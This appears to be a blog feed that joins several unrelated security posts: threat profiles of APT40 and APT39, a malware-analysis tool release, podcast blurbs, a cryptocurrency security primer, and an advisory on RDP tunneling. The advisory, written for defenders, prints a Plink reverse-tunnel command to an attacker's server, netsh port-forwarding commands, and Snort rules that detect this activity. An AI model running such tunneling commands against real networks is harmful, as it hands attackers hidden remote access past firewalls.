Blog

APT40: Examining a China-Nexus Espionage Actor

FireEye is highlighting a cyber espionage operation targeting crucial technologies and traditional intelligence targets from a China-nexus state sponsored actor we call APT40. The actor has conducted operations since at least 2013 in support of China’s naval modernization effort. The group has specifically targeted engineering, transportation, and the defense industry, especially where these sectors overlap with maritime technologies. More recently, we have also observed specific targeting of countries strategically important to the Belt and Road Initiative including Cambodia, Belgium, Germany, Hong Kong, Philippines, Malaysia, Norway, Saudi Arabia, Switzerland, the United States, and the United Kingdom. This China-nexus cyber espionage group was previously reported as TEMP.Periscope and TEMP.Jumper.

Mission

In December 2016, China’s People Liberation Army Navy (PLAN) seized a U.S. Navy unmanned underwater vehicle (UUV) operating in the South China Sea. The incident paralleled China’s actions in cyberspace; within a year APT40 was observed masquerading as a UUV manufacturer, and targeting universities engaged in naval research. That incident was one of many carried out to acquire advanced technology to support the development of Chinese naval capabilities. We believe APT40’s emphasis on maritime issues and naval technology ultimately support China’s ambition to establish a blue-water navy.

In addition to its maritime focus, APT40 engages in broader regional targeting against traditional intelligence targets, especially organizations with operations in Southeast Asia or involved in South China Sea disputes. Most recently, this has included victims with connections to elections in Southeast Asia, which is likely driven by events affecting China’s Belt and Road Initiative. China’s “One Belt, One Road” (一带一路) or “Belt and Road Initiative” (BRI) is a $1 trillion USD endeavor to build land and maritime trade routes across Asia, Europe, the Middle East, and Africa to develop a trade network that will project China’s influence across the greater region.

Figure 1: Countries and industries targeted. Countries include the United States, United Kingdom, Norway, Germany, Saudi Arabia, Cambodia and Indonesia

Attribution

We assess with moderate confidence that APT40 is a state-sponsored Chinese cyber espionage operation. The actor’s targeting is consistent with Chinese state interests and there are multiple technical artifacts indicating the actor is based in China. Analysis of the operational times of the group’s activities indicates that it is probably centered around China Standard Time (UTC +8). In addition, multiple APT40 command and control (C2) domains were initially registered by China based domain resellers and had Whois records with Chinese location information, suggesting a China based infrastructure procurement process.

APT40 has also used multiple Internet Protocol (IP) addresses located in China to conduct its operations. In one instance, a log file recovered from an open indexed server (link to previous blog) revealed that an IP address (112.66.188.28) located in Hainan, China had been used to administer the command and control node that was communicating with malware on victim machines. All of the logins to this C2 were from computers configured with Chinese language settings.

Attack Lifecycle

Initial Compromise

APT40 has been observed leveraging a variety of techniques for initial compromise, including web server exploitation, phishing campaigns delivering publicly available and custom backdoors, and strategic web compromises.

• APT40 relies heavily on web shells for an initial foothold into an organization. Depending on placement, a web shell can provide continued access to victims’ environments, re-infect victim systems, and facilitate lateral movement.
• The operation’s spear-phishing emails typically leverage malicious attachments, although Google Drive links have also been observed.
• APT40 leverages exploits in their phishing operations, often weaponizing vulnerabilities within days of their disclosure. Observed vulnerabilities include:
  • CVE-2012-0158
  • CVE-2017-0199
  • CVE-2017-8759
  • CVE-2017-11882

Figure 2: APT40 attack lifecycle

Establish Foothold

APT40 uses a variety of malware and tools to establish a foothold, many of which are either publicly available or used by other threat groups. In some cases, the group has used executables with code signing certificates to avoid detection.

• First-stage backdoors such as AIRBREAK, FRESHAIR, and BEACON are used before downloading other payloads.
• PHOTO, BADFLICK, and CHINA CHOPPER are among the most frequently observed backdoors used by APT40.
• APT40 will often target VPN and remote desktop credentials to establish a foothold in a targeted environment. This methodology proves to be ideal as once these credentials are obtained, they may not need to rely as heavily on malware to continue the mission.

Escalate Privileges

APT40 uses a mix of custom and publicly available credential harvesting tools to escalate privileges and dump password hashes.

• APT40 leverages custom credential theft utilities such as HOMEFRY, a password dumper/cracker used alongside the AIRBREAK and BADFLICK backdoors.
• Additionally, the Windows Sysinternals ProcDump utility and Windows Credential Editor (WCE) are believed to be used during intrusions as well.

Internal Reconnaissance

APT40 uses compromised credentials to log on to other connected systems and conduct reconnaissance. The group also leverages RDP, SSH, legitimate software within the victim environment, an array of native Windows capabilities, publicly available tools, as well as custom scripts to facilitate internal reconnaissance.

• APT40 used MURKYSHELL at a compromised victim organization to port scan IP addresses and conduct network enumeration.
• APT40 frequently uses native Windows commands, such as net.exe, to conduct internal reconnaissance of a victim’s environment.
• Web shells are heavily relied on for nearly all stages of the attack lifecycle. Internal web servers are often not configured with the same security controls as public-facing counterparts, making them more vulnerable to exploitation by APT40 and similarly sophisticated groups.

Lateral Movement

APT40 uses many methods for lateral movement throughout an environment, including custom scripts, web shells, a variety of tunnelers, as well as Remote Desktop Protocol (RDP). For each new system compromised, the group usually executes malware, performs additional reconnaissance, and steals data.

• APT40 also uses native Windows utilities such as at.exe (a task scheduler) and net.exe (a network resources management tool) for lateral movement.
• Publicly available tunneling tools are leveraged alongside distinct malware unique to the operation.
• Although MURKYTOP is primarily a command-line reconnaissance tool, it can also be used for lateral movement.
• APT40 also uses publicly available brute-forcing tools and a custom utility called DISHCLOTH to attack different protocols and services.

Maintain Presence

APT40 primarily uses backdoors, including web shells, to maintain presence within a victim environment. These tools enable continued control of key systems in the targeted network.

• APT40 strongly favors web shells for maintaining presence, especially publicly available tools.
• Tools used during the Establish Foothold phase also continue to be used in the Maintain Presence phase; this includes AIRBREAK and PHOTO.
• Some APT40 malware tools can evade typical network detectiona by leveraging legitimate websites, such as GitHub, Google, and Pastebin for initial C2 communications.
• Common TCP ports 80 and 443 are used to blend in with routine network traffic.

Complete Mission

Completing missions typically involves gathering and transferring information out of the target network, which may involve moving files through multiple systems before reaching the destination. APT40 has been observed consolidating files acquired from victim networks and using the archival tool rar.exe to compress and encrypt the data before exfiltration. We have also observed APT40 develop tools such as PAPERPUSH to aid in the effectiveness of their data targeting and theft.

Outlook and Implications

Despite increased public attention, APT40 continues to conduct cyber espionage operations following a regular tempo, and we anticipate their operations will continue through at least the near and medium term. Based on APT40’s broadening into election-related targets in 2017, we assess with moderate confidence that the group’s future targeting will affect additional sectors beyond maritime, driven by events such as China’s Belt and Road Initiative. In particular, as individual Belt and Road projects unfold, we are likely to see continued activity by APT40 which extends against the project’s regional opponents.

FLARE Script Series: Recovering Stackstrings Using Emulation with ironstrings

This blog post continues our Script Series where the FireEye Labs Advanced Reverse Engineering (FLARE) team shares tools to aid the malware analysis community. Today, we release ironstrings: a new IDAPython script to recover stackstrings from malware. The script leverages code emulation to overcome this common string obfuscation technique. More precisely, it makes use of our flare-emu tool, which combines IDA Pro and the Unicorn emulation engine. In this blog post, I explain how our new script uses flare-emu to recover stackstrings from malware. In addition, I discuss flare-emu’s event hooks and how you can use them to easily adapt the tool to your own analysis needs.

Introduction

Analyzing strings in binary files is an important part of malware analysis. Although simple, this reverse engineering technique can provide valuable information about a program’s use and its capabilities. This includes indicators of compromise like file paths and domain names. Especially during advanced analysis, strings are essential to understand a disassembled program’s functionality. Malware authors know this, and string obfuscation is one of the most common anti-analysis techniques reverse engineers encounter.

Due to the prevalence of obfuscated strings, the FLARE team has already developed and shared various tools and techniques to deal with them. In 2014 we published an IDA Pro plugin to automate the recovery of constructed strings in malware. In 2016, we released FLOSS; a standalone open-source tool to automatically identify and decode strings in malware.

Both solutions rely on vivisect, a Python-based program analysis and emulation framework. Although vivisect is a robust tool, it may fail to completely analyze an executable file or emulate its code correctly. And just like any tool, vivisect is susceptible to anti-analysis techniques. With missing, incomplete, or erroneous processing by vivisect, dependent tools cannot provide the best results. Moreover, vivisect does not provide an easy-to-use graphical interface to interactively change and enhance program analysis.

I encountered all these shortcomings recently, when I analyzed a GandCrab ransomware sample (version 5.0.4, SHA256 hash: 72CB1061A10353051DA6241343A7479F73CB81044019EC9A9DB72C41D3B3A2C7). The malware contains various anti-analysis techniques to hinder disassembly and control-flow analysis. Before I could perform any efficient reverse engineering in IDA Pro, I had to overcome these hurdles. I used IDAPython to remove various anti-analysis instruction patterns which then allowed the disassembler to successfully identify all functions in the binary. Many of the recovered functions contained obfuscated strings. Unfortunately, my changes did not propagate to vivisect, because it performs its own independent analysis on the original binary. Consequently, vivisect still failed to recognize most functions correctly and I couldn’t use one of our existing solutions to recover the obfuscated strings.

While I could have tried to feed my patches in IDA Pro back to vivisect or to create a modified binary, I instead created a new IDAPython script that does not depend on vivisect. Thus, circumventing the mentioned shortcomings. It uses IDA Pro’s program analysis and Unicorn’s emulation engine. The easy integration of these two tools is powered by flare-emu.

Using IDA Pro instead of vivisect resolves multiple limitations of our previous implementations. Now changes that users make in their IDB file, e.g. by patching instructions to manually enhance analysis, are immediately available during emulation. Moreover, the tool more robustly supports different architectures including x86, AMD64, and ARM.

Stackstrings: An Example

The disassembly listing in Figure 1 shows an example string obfuscation from the sample I analyzed. The malware creates a string at run-time by moving each character into adjacent stack addresses (gray highlights). Finally, the sample passes the string’s starting offset as an argument to the InternetOpen API call (blue highlight). Manually following these memory moves and restoring strings by hand is a very cumbersome process. Especially if malware complicates value assignments using additional instructions like illustrated below.

Figure 1: Disassembly listing showing stackstring creation and usage

Because malware often uses stack memory to create such strings, Jay Smith coined the term stackstrings for this anti-analysis technique. Note that malware can also construct strings in global memory. Our new script handles both cases; strings constructed on the stack and in global memory.

ironstrings: Stackstring Recovery Using flare-emu

The new IDAPython script is an evolution of our existing solutions. It combines FLOSS’s stackstring recovery algorithm and functionality from our IDA Pro plugin. The script relies on IDA Pro’s program analysis and emulates code using Unicorn. The combination of both tools is powered by flare-emu. Fe, short for flare-emu, is the chemical symbol for iron and hence the script is named ironstrings.

To recover stackstrings, ironstrings enumerates all disassembled functions in a program except for library and thunk functions as identified by IDA Pro. For each function, the script emulates various code paths through the function and searches for stackstrings based on two heuristics:

1. Before all call instructions in the function. As stackstrings are often constructed and then passed to other functions, i.e. Windows APIs like CreateFile or InternetOpenUrl.
2. At the end of a basic block containing more than five memory writes. The number of memory writes is configurable. This heuristic is helpful if the same memory buffer is used multiple times in a function and if the string construction spans multiple basic blocks.

If any of these conditions apply, the script searches the function’s current stack frame for printable ASCII and UTF-16 strings. To detect strings in global memory, the script additionally searches for strings in all memory locations that have been written to.

Using flare-emu Hooks to Recover Stackstrings

If you’re not already familiar with flare-emu, I recommend reading our previous blog post. It discusses some of the interfaces the tool provides. Other helpful resources are the examples and the project documentation available on the flare-emu GitHub.

The stackstrings script uses flare-emu’s iterateAllPaths API. The function iterates multiple code paths through a function. It first finds possible paths from function start to function end. The tool then forces the emulation down all identified code paths independent from the actual program state. This extensive code coverage allows ironstrings to recover strings constructed from many different emulation runs.

A key feature of flare-emu are the various hook functions that get triggered by different emulation events. These hooks, or callbacks, enable the development of very powerful automation tasks. The available hooks are a combination of Unicorn’s standard hooks, e.g., to hook memory access events, and multiple convenience hooks provided by flare-emu. The following section briefly describes the available callbacks in flare-emu and illustrates how the ironstrings script uses them to recover obfuscated strings.

• instructionHook: This Unicorn standard hook is triggered before an instruction is emulated. ironstrings uses this hook to initiate the stackstrings extraction if a basic block contained enough memory writes, for example.
• memAccessHook: This Unicorn standard hook is triggered when memory read or write events occur during emulation. In the stackstrings script this function stores data about all memory writes.
• callHook: This flare-emu hook is activated before each function call. The hook’s return value is ignored. In the stackstrings script this hook triggers the extraction of stackstrings.
• preEmuCallback: This flare-emu hook is called before each emulation run. It is only available in the iterate and the iterateAllPaths functions. The hook’s return value is ignored. ironstrings does not use this hook.
• targetCallback: This flare-emu hook gets called whenever one of the specified target addresses is hit. It is only available in the iterate and the iterateAllPaths functions. The hook’s return value is ignored. The stackstrings script does not use this hook.

The code in Figure 2 shows the callback functions that flare-emu’s API currently supports, their signatures, and examples of how to use them. All callbacks receive an argument named hookData. This named dictionary allows the user to provide application specific data to use before, during, and after emulation. Often, this dictionary is named userData in the user-defined callbacks, as in the examples below, due to its naming in Unicorn. ironstrings uses this to access function analysis data and store recovered strings across its various hooks. The dictionary also provides access to the EmuHelper object and emulation meta data.

Figure 2: flare-emu example hook implementations

Installation

Download and install flare-emu as described at the GitHub installation page. ironstrings is available, along with our other IDA Pro plugins and scripts, at our ironstrings GitHub page.

Note that both flare-emu and ironstrings were written using the new IDAPython API available in IDA Pro 7.0 and higher. They are not backwards compatible with previous program versions.

Usage and Options

To run the script in IDA Pro, go to File – Script File… (ALT+F7) and select ironstrings.py. The script runs automatically on all functions, prints its results to IDA Pro’s output window, and adds comments at the locations where it recovered stackstrings. Figure 3 shows the script’s output of the recovered stackstring locations from the GandCrab sample. Analysis of this malware takes the script about 15 seconds.

Figure 3: Deobfuscated stackstrings and locations where they were identified

Figure 4 shows the disassembly listing of the stackstring creation example discussed at the beginning of this post after running ironstrings.

Figure 4: Commented stackstring after running ironstrings

After analyzing a sample, the script provides a summary and a unique listing of all recovered strings. The output for the ransomware sample is shown in Figure 5. Here the tool failed to analyze two functions due to invalid memory operations during Unicorn’s code emulation.

Figure 5: Script summary and unique string listing

Note that you can modify various options to change the script’s behavior. For example, you can configure the output format at the top of the ironstrings.py file. The script’s README file explains the options in more detail.

Conclusion

This blog post explains how our new IDAPython script ironstrings works and how you can use it to automatically recover stackstrings in IDA Pro. Overcoming anti-analysis techniques is just one of many useful applications of code emulation for malware analysis. This post shows that flare-emu provides the ideal base for this by integrating IDA Pro and Unicorn. The detailed discussion of flare-emu’s hook functions will help you to write your own powerful automation scripts. Please reach out to us with questions, suggestions and feedback via the flare-emu and flare-ida GitHub issue trackers.

44 – Space Telcos, the Spectrum Crunch and Flying Dragons

Satellite operators are facing a real problem concerning how they establish and maintain real-time connectivity for commercial spacecraft. As more and more commercial satellites are set to launch this problem is becoming increasingly important. Ralph Ewig, CEO of Audacy Space shares his expertise about how real-time connectivity, addressing the spectrum crunch and building a communications backbone are all critical elements needed to support the new space economy.

43 -User Experience Design, Space System Standards and Enterprise Ground Services

Listen to Michal Anne Rogondino discuss user experience design for the Space and Missile Systems Center (SMC). Michal Anne explains design thinking and how it is being utilized to create a user experience for DoD space applications.  The CEO of Rocket Communications talks about the workarounds of designing for a secret environment without having a secret clearance (it is possible) and working for the government in general.  The stakes are high as there cannot be any ambiguity around an icon or a simple alarm.  Bringing the user experience to the space domain is different and there are challenges with automation and autonomy that demand the creation of new rules and guidelines. In parallel is a need for creating baseline and guidelines that are common which allows everything to be designed in a common way.  Space systems are complex and there will be an advantage to giving airmen or operators the tools and time to focus on what is important, their mission.

42 – Revolution on the Ground, Paradigm Shifts and the Convergence of Satellite and Terrestrial Networking

The space industry is evolving at a rapid pace as seen by the flurry of new technologies being announced on almost a weekly basis. These new technologies include the emergence of high throughput satellites (HTS) and the launch of LEO mega-constellations which have brought unprecedented flexibility and bandwidth to the marketplace. However these new capabilities require innovation on the ground to ease management and minimize the explosion in costs. Lluc Palerm Serra, Senior Analyst at NSR explains how a paradigm shift is needed in the satellite ground segment and how this shift towards new advanced networking capabilities has the potential to facilitate convergence between satellite and terrestrial networks.  

APT39: An Iranian Cyber Espionage Group Focused on Personal Information

In December 2018, FireEye identified APT39 as an Iranian cyber espionage group responsible for widespread theft of personal information. We have tracked activity linked to this group since November 2014 in order to protect organizations from APT39 activity to date. APT39’s focus on the widespread theft of personal information sets it apart from other Iranian groups FireEye tracks, which have been linked to influence operations, disruptive attacks, and other threats. APT39 likely focuses on personal information to support monitoring, tracking, or surveillance operations that serve Iran’s national priorities, or potentially to create additional accesses and vectors to facilitate future campaigns. 

APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as “Chafer.” However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39’s targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry. The countries and industries targeted by APT39 are depicted in Figure 1.

Figure 1: Countries and industries targeted by APT39

Operational Intent

APT39’s focus on the telecommunications and travel industries suggests intent to perform monitoring, tracking, or surveillance operations against specific individuals, collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities, or create additional accesses and vectors to facilitate future campaigns. Government entities targeting suggests a potential secondary intent to collect geopolitical data that may benefit nation-state decision making. Targeting data supports the belief that APT39’s key mission is to track or monitor targets of interest, collect personal information, including travel itineraries, and gather customer data from telecommunications firms.

Iran Nexus Indicators

We have moderate confidence APT39 operations are conducted in support of Iranian national interests based on regional targeting patterns focused in the Middle East, infrastructure, timing, and similarities to APT34, a group that loosely aligns with activity publicly reported as “OilRig”. While APT39 and APT34 share some similarities, including malware distribution methods, POWBAT backdoor use, infrastructure nomenclature, and targeting overlaps, we consider APT39 to be distinct from APT34 given its use of a different POWBAT variant. It is possible that these groups work together or share resources at some level.

Attack Lifecycle

APT39 uses a variety of custom and publicly available malware and tools at all stages of the attack lifecycle.

Initial Compromise

For initial compromise, FireEye Intelligence has observed APT39 leverage spear phishing emails with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection. APT39 frequently registers and leverages domains that masquerade as legitimate web services and organizations that are relevant to the intended target. Furthermore, this group has routinely identified and exploited vulnerable web servers of targeted organizations to install web shells, such as ANTAK and ASPXSPY, and used stolen legitimate credentials to compromise externally facing Outlook Web Access (OWA) resources.

Establish Foothold, Escalate Privileges, and Internal Reconnaissance

Post-compromise, APT39 leverages custom backdoors such as SEAWEED, CACHEMONEY, and a unique variant of POWBAT to establish a foothold in a target environment. During privilege escalation, freely available tools such as Mimikatz and Ncrack have been observed, in addition to legitimate tools such as Windows Credential Editor and ProcDump. Internal reconnaissance has been performed using custom scripts and both freely available and custom tools such as the port scanner, BLUETORCH.

Lateral Movement, Maintain Presence, and Complete Mission

APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc. Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts. In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment. To complete its mission, APT39 typically archives stolen data with compression tools such as WinRAR or 7-Zip.

Figure 2: APT39 attack lifecycle

There are some indications that APT39 demonstrated a penchant for operational security to bypass detection efforts by network defenders, including the use of a modified version of Mimikatz that was repacked to thwart anti-virus detection in one case, as well as another instance when after gaining initial access APT39 performed credential harvesting outside of a compromised entity’s environment to avoid detection.

Outlook

We believe APT39’s significant targeting of the telecommunications and travel industries reflects efforts to collect personal information on targets of interest and customer data for the purposes of surveillance to facilitate future operations. Telecommunications firms are attractive targets given that they store large amounts of personal and customer information, provide access to critical infrastructure used for communications, and enable access to a wide range of potential targets across multiple verticals. APT39’s targeting not only represents a threat to known targeted industries, but it extends to these organizations’ clientele, which includes a wide variety of sectors and individuals on a global scale. APT39’s activity showcases Iran’s potential global operational reach and how it uses cyber operations as a low-cost and effective tool to facilitate the collection of key data on perceived national security threats and gain advantages against regional and global rivals.

Bypassing Network Restrictions Through RDP Tunneling

Remote Desktop Services is a component of Microsoft Windows that is used by various companies for the convenience it offers systems administrators, engineers and remote employees. On the other hand, Remote Desktop Services, and specifically the Remote Desktop Protocol (RDP), offers this same convenience to remote threat actors during targeted system compromises. When sophisticated threat actors establish a foothold and acquire ample logon credentials, they may switch from backdoors to using direct RDP sessions for remote access. When malware is removed from the equation, intrusions become increasingly difficult to detect.

RDPing Against the Rules

Threat actors continue to prefer RDP for the stability and functionality advantages over non-graphical backdoors, which can leave unwanted artifacts on a system. As a result, FireEye has observed threat actors using native Windows RDP utilities to connect laterally across systems in compromised environments. Historically, non-exposed systems protected by a firewall and NAT rules were generally considered not to be vulnerable to inbound RDP attempts; however, threat actors have increasingly started to subvert these enterprise controls with the use of network tunneling and host-based port forwarding.

Network tunneling and port forwarding take advantage of firewall “pinholes” (ports not protected by the firewall that allow an application access to a service on a host in the network protected by the firewall) to establish a connection with a remote server blocked by a firewall. Once a connection has been established to the remote server through the firewall, the connection can be used as a transport mechanism to send or “tunnel” local listening services (located inside the firewall) through the firewall, making them accessible to the remote server (located outside the firewall), as shown in Figure 1.

Figure 1: Enterprise firewall bypass using RDP and network tunneling with SSH as an example

Inbound RDP Tunneling

A common utility used to tunnel RDP sessions is PuTTY Link, commonly known as Plink. Plink can be used to establish secure shell (SSH) network connections to other systems using arbitrary source and destination ports. Since many IT environments either do not perform protocol inspection or do not block SSH communications outbound from their network, attackers such as FIN8 have used Plink to create encrypted tunnels that allow RDP ports on infected systems to communicate back to the attacker command and control (C2) server.

Example Plink Executable Command: plink.exe <users>@<IP or domain> -pw <password> -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389

Figure 2 provides an example of a successful RDP tunnel created using Plink, and Figure 3 provides an example of communications being sent through the tunnel using port forwarding from the attacker C2 server.

Figure 2: Example of successful RDP tunnel created using Plink

Figure 3: Example of successful port forwarding from the attacker C2 server to the victim

It should be noted that for an attacker to be able to RDP to a system, they must already have access to the system through other means of compromise in order to create or access the necessary tunneling utility. For example, an attacker’s initial system compromise could have been the result of a payload dropped from a phishing email aimed at establishing a foothold into the environment, while simultaneously extracting credentials to escalate privileges. RDP tunneling into a compromised environment is one of many access methods typically used by attackers to maintain their presence in an environment.

Jump Box Pivoting

Not only is RDP the perfect tool for accessing compromised systems externally, RDP sessions can be daisy chained across multiple systems as a way to move laterally through an environment. FireEye has observed threat actors using the native Windows Network Shell (netsh) command to utilize RDP port forwarding as a way to access newly discovered segmented networks reachable only through an administrative jump box.

Example netsh Port Forwarding Command: netsh interface portproxy add v4tov4 listenport=8001 listenaddress=<JUMP BOX IP> connectport=3389 connectaddress=<DESTINATION IP> Example Shortened netsh Port Forwarding Command: netsh I p a v l=8001 listena=<JUMP BOX IP> connectp=3389 c=<DESTINATION IP>

For example, a threat actor could configure the jump box to listen on an arbitrary port for traffic being sent from a previously compromised system. The traffic would then be forwarded directly through the jump box to any system on the segmented network using any designated port, including the default RDP port TCP 3389. This type of RDP port forwarding gives threat actors a way to utilize a jump box’s allowed network routes without disrupting legitimate administrators who are using the jump box during an ongoing RDP session. Figure 4 provides an example of RDP lateral movement to a segmented network via an administrative jump box.

Figure 4: Lateral Movement via RDP using a jump box to a segmented network

Prevention and Detection of RDP Tunneling

If RDP is enabled, threat actors have a way to move laterally and maintain presence in the environment through tunneling or port forwarding. To mitigate vulnerability to and detect these types of RDP attacks, organizations should focus on both host-based and network-based prevention and detection mechanisms. For additional information see the FireEye blog post on establishing a baseline for remote desktop protocol.

Host-Based Prevention:

• Remote Desktop Service: Disable the remote desktop service on all end-user workstations and systems for which the service is not required for remote connectivity.
• Host-based Firewalls: Enable host-based firewall rules that explicitly deny inbound RDP connections.
• Local Accounts: Prevent the use of RDP using local accounts on workstations by enabling the “Deny log on through Remote Desktop Services” security setting.

Host-Based Detection:

Registry Keys:

• Review registry keys associated with Plink connections that can be abused by RDP session tunneling to identify unique source and destination systems. By default, both PuTTY and Plink store session information and previously connected ssh servers in the following registry keys on Windows systems:
  • HKEY_CURRENT_USERSoftwareSimonTathamPuTTY
  • HKEY_CURRENT_USERSoftWareSimonTathamPuTTYSshHostKeys
• Similarly, the creation of a PortProxy configuration with netsh is stored with the following Windows registry key:
  • HKEY_CURRENT_USERSYSTEMCurrentControlSetServicesPortProxyv4tov4
• Collecting and reviewing these registry keys can identify both legitimate SSH and unexpected tunneling activity. Additional review may be needed to confirm the purpose of each artifact.

Event Logs:

• Review event logs for high-fidelity logon events. Common RDP logon events are contained in the following event logs on Windows systems:
  • %systemroot%WindowsSystem32winevtLogsMicrosoft-TerminalServices-LocalSessionmanager%3Operational.evtx
  • %systemroot%WindowsSystem32winevtLogsSecurity.evtx
• The “TerminalServices-LocalSessionManager” log contains successful interactive local or remote logon events as identified by EID 21 and successful reconnection of a previously established RDP session not terminated by a proper user logout as identified by EID 25. The “Security” log contains successful Type 10 remote interactive logons (RDP) as identified by EID 4624. A source IP address recorded as a localhost IP address (127.0.0.1 – 127.255.255.255) may be indicative of a tunneled logon routed from a listening localhost port to the localhost’s RDP port TCP 3389.

Review your artifacts of execution for “plink.exe” file execution. Note that attackers can rename the file name to avoid detection. Relevant artifacts include, but are not limited to:

• Application Compatibility Cache/Shimcache
• Amcache
• Jump Lists
• Prefetch
• Service Events
• CCM Recently Used Apps from the WMI repository
• Registry keys

Network-Based Prevention:

• Remote Connectivity: Where RDP is required for connectivity, enforce the connection to be initiated from a designated jump box or centralized management server.
• Domain Accounts: Employ the “Deny log on through Remote Desktop Services” security setting for privileged accounts (e.g. domain administrators) and service accounts, as these types of accounts are commonly used by threat actors to laterally move to sensitive systems in an environment.

Network-Based Detection:

• Firewall Rules: Review existing firewall rules to identify areas of vulnerability to port forwarding. In addition to the potential use of port forwarding, monitoring for internal communications between workstations in the environment should be conducted. Generally, workstations do not have a need to communicate with one another directly and Firewall rules can be used to prevent any such communication, except where needed.
• Network Traffic: Perform content inspection of network traffic. Not all traffic communicating on a given port is what it appears to be. For example, threat actors may use TCP ports 80 or 443 to establish an RDP tunnel with a remote server. Deep inspection of the network traffic can likely reveal that it is not actually HTTP or HTTPS, but entirely different traffic all together. Therefore, organizations should closely monitor their network traffic.
• Snort Rules: The main indicator of tunneled RDP occurs when the RDP handshake has a designated low source port generally used for another protocol. Figure 5 provides two sample Snort rules that can help security teams identify RDP tunneling in their network traffic by identifying designated low source ports generally used for other protocols.

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:”RDP – HANDSHAKE [Tunneled msts]”; dsize:<65; content:”|03 00 00|”; depth:3; content:”|e0|”; distance:2; within:1; content:”Cookie: mstshash=”; distance:5; within:17; sid:1; rev:1;)

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:”RDP – HANDSHAKE [Tunneled]”; flow:established; content:”|c0 00|Duca”; depth:250; content:”rdpdr”; content:”cliprdr”; sid:2; rev:1;)

Figure 5: Sample Snort Rules to identify RDP tunneling

Conclusion

RDP enables IT environments to offer freedom and interoperability to users. But with more and more threat actors using RDP to move laterally across networks with limited segmentation, security teams are being challenged to decipher between legitimate and malicious RDP traffic. Therefore, adequate host-based and network-based prevention and detection methods should be taken to actively monitor for and be able to identify malicious RDP usage.

Cryptocurrency and Blockchain Networks: Facing New Security Paradigms

On Jan. 22, FireEye participated in a panel focused on cryptocurrencies and blockchain technology during the World Economic Forum. The panel addressed issues raised in a report developed by FireEye, together with our partner Marsh & McLennan (a global professional services firm) and Circle (a global crypto finance company). The report touched on some of the security considerations around crypto-assets – today and in the future, and in this blog post, we delve deeper into the security paradigms surrounding cryptocurrencies and blockchain networks.

First, some background that will provide context for this discussion.

Cryptocurrencies – A Primer

By its simplest definition, cryptocurrency is digital money that operates on its own decentralized transaction network. When defined holistically, many argue that cryptocurrencies and their distributed ledger (blockchain) technology is powerful enough to radically change the basic economic pillars of society and fundamentally alter the way our systems of trust, governance, trade, ownership, and business function. However, the technology is new, subject to change, and certain headwinds related to scalability and security still need to be navigated. It is safe to assume that the ecosystem we have today will evolve. Since the final ecosystem is yet to be determined, as new technology develops and grows in user adoption, the associated risk areas will continually shift – creating new cyber security paradigms for all network users to consider, whether you are an individual user of cryptocurrency, a miner, a service-provider (e.g., exchange, trading platform, or key custodian), a regulator, or a nation-state with vested political interest.

Malicious actors employ a wide variety of tactics to steal cryptocurrencies. These efforts can target users and their wallets, exchanges and/or key custodial services, and underlying networks or protocols supporting cryptocurrencies. FireEye has observed successful attacks that steal from users and cryptocurrency exchanges over the past several years. And while less frequent, attacks targeting cryptocurrency networks and protocols have also been observed. We believe cryptocurrency exchanges and/or key custodial services are, and will continue to be, attractive targets for malicious operations due to the potentially large profits, their often-lax physical and network security, and the lack of regulation and oversight.

This blog post will highlight some of the various risk areas to consider when developing and adopting cryptocurrency and blockchain technology.

Wallet & Key Management

Public and Private Keys

There are two types of keys associated with each wallet: a public key and a private key. Each of these keys provides a different function, and it is the security of the private key that is paramount to securing cryptocurrency funds.

The private key is a randomly generated number used to sign transactions and spend funds within a specific wallet, and the public key (which is derived from the private key) is used to generate a wallet address to which they can receive funds.

Figure 1: Private key, public key, and address generation flow

The private key must be kept secret at all times and, unfortunately, revealing it to third-parties (or allowing third-parties to manage and store private keys) increases convenience at the expense of security. In fact, some of the most high-profile exchange breaches have occurred in large part due to a lack of operational controls relating to the storage of private keys. Maintaining the confidentiality, integrity, and availability of private keys requires fairly robust controls.

However, from an individual user perspective, a large number of user-controlled software wallet solutions store the private and public keys in a wallet file on the user’s hard drive that is located in a well-known directory, making it an ideal target for actors that aim to steal private keys. Easily available tools such as commercial keyloggers and remote access tools (RATs) can be used to steal funds by stealing (or making copies of) a user’s wallet file. FireEye has observed myriad malware families, traditionally aimed at stealing banking credentials, incorporate the ability to target cryptocurrency wallets and online services. FireEye Intelligence subscribers may be familiar with this already, as we’ve published about these malware families use in targeting cryptocurrency assets on our FireEye Intelligence Portal. The following are some of the more prominent crimeware families we have observed include such functionality:

• Atmos
• Dridex
• Gozi/Ursnif
• Ramnit
• Terdot
• Trickbot
• ZeusPanda/PandaBot
• IcedID
• SmokeLoader
• Neptune EK
• BlackRuby Ransomware
• Andromeda/Gamarue
• ImminentMonitor RAT
• jRAT
• Neutrino
• Corebot

Wallet Solutions

By definition, cryptocurrency wallets are used to store a user’s keys, which can be used to unlock access to the funds residing in the associated blockchain entry (address). Several types of wallets exist, each with their own level of security (pros) and associated risks (cons). Generally, wallets fall into two categories: hot (online) and cold (offline).

Hot Wallets

A wallet stored on a general computing device connected to the internet is often referred to as a “hot” wallet. This type of storage presents the largest attack surface and is, consequently, the riskiest way to store private keys. Types of hot wallets typically include user-controlled and locally stored wallets (also referred to as desktop wallets), mobile wallets, and web wallets. If remote access on any hot wallet device occurs, the risk of theft greatly increases. As stated, many of these solutions store private keys in a well-known and/or unencrypted location, which can make for an attractive target for bad actors. While many of these wallet types offer the user high levels of convenience, security is often the trade-off.

Wallet Type	Examples
Desktop	Bitcoin Core Atomic Exodus Electrum Jaxx
Mobile	BRD Infinito Jaxx Airbitz Copay Freewallet
Web	MyEtherWallet MetaMask Coinbase BTC Wallet Blockchain.info

Table 1: Types of hot wallets

